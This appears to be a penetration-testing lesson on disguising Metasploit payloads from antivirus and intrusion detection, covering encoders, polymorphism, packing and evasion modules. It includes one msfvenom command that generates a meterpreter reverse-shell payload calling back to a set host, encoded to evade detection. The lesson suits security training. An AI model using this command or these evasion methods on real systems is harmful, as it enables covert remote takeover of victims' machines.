Evasion Techniques and Encoders
What you'll learn: How to disguise malicious payloads so they slip past antivirus software and intrusion detection systems without triggering alerts.
Why Evasion Matters
After generating a perfect exploit payload, you'll often find it blocked by antivirus (AV) or intrusion detection systems (IDS) that recognize its signature. Evasion techniques transform your payload to avoid detection while preserving functionality—like disguising a known criminal by changing their clothes, hairstyle, and gait.
Encoders: The Disguise Artists
Encoders mathematically transform payload bytes into equivalent but unrecognizable patterns. Metasploit's msfvenom supports multiple encoders like x86/shikata_ga_nai (a polymorphic encoder that generates different output each time) or cmd/powershell_base64. When the payload executes, a small decoder stub unpacks the original instructions.
Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 -e x86/shikata_ga_nai -i 5 applies five encoding iterations.
Polymorphic Payloads
These change their signature with every generation while maintaining identical behavior—like rearranging sentences to say the same thing differently. Encoders achieve this through variable instruction ordering and junk code insertion.
Encryption and Packing
Going beyond encoding, encryption wraps payloads in cryptographic protection with runtime decryption. Metasploit's evasion modules can also pack executables, compressing and obfuscating them to defeat static signature analysis.
Evasion Modules
Metasploit includes dedicated evasion modules (show evasion) that apply multiple techniques: binary padding, API call obfuscation, sleep timers to defeat sandboxes, and more. These complement encoders for layered defense bypass.
Key Takeaway: Encoders, polymorphic generation, encryption, and evasion modules transform payloads to bypass signature-based detection—but modern behavioral analysis requires even more sophisticated techniques beyond simple obfuscation.